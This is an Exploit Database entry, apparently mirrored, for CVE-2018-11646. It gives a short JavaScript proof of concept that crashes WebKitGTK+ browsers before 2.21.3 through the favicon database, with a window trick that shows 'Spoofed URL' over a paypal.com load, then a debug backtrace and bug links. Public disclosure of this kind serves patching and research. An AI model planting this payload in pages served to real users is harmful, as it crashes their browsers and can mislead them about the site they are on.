WebKitGTK+ < 2.21.3 - Crash (PoC)

• Exploit Database
• 18 阅读

• 作者： Dhiraj Mishra
  日期： 2018-06-05
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44842/

• # Title: WebKitGTK+ < 2.21.3 - Crash (PoC) 
  # Author: Dhiraj Mishra
  # Date: 2018-06-05
  # Software: https://webkitgtk.org/
  # CVE: CVE-2018-11646
  # Summary:
  # webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in 
  # UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, 
  # mishandle an unset pageURL, leading to an application crash, CVE-2018-11646 was assigned to this issue.
  
  # PoC:
  
  <script>
  win = window.open("sleep_one_second.php", "WIN"); 
  window.open("https://www.paypal.com", "WIN");
  win.document.execCommand('Stop');
  win.document.write("Spoofed URL"); 
  win.document.close();
  </script>
  
  
  Backtrace using fedora 27:
  
  #0 WTF::StringImpl::rawHash
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
  #1 WTF::StringImpl::hasHash
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
  #2 WTF::StringImpl::hash
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
  #3 WTF::StringHash::hash
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
  #9 WTF::HashMap, WTF::HashTraits >::get
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
  #10 webkitFaviconDatabaseSetIconURLForPageURL
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
  #11 webkitFaviconDatabaseSetIconForPageURL
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
  #12 webkitWebViewSetIcon
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
  #13 WTF::Function::performCallbackWithReturnValue
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
  #15 WebKit::WebPageProxy::dataCallback
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
  #16 WebKit::WebPageProxy::finishedLoadingIcon
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
  #17 IPC::callMemberFunctionImpl::operator()
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
  #29 WTF::RunLoop::::_FUN(gpointer)
  at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
  #30 g_main_dispatch
  at gmain.c line 3148
  #31 g_main_context_dispatch
  at gmain.c line 3813
  #32 g_main_context_iterate
  at gmain.c line 3886
  #33 g_main_context_iteration
  at gmain.c line 3947x
  #34 g_application_run
  at gapplication.c line 2401
  #35 main
  at ../src/ephy-main.c line 432 
  
  
  # Reference's:
  # https://bugs.webkit.org/show_bug.cgi?id=186164
  # https://bugzilla.gnome.org/show_bug.cgi?id=795740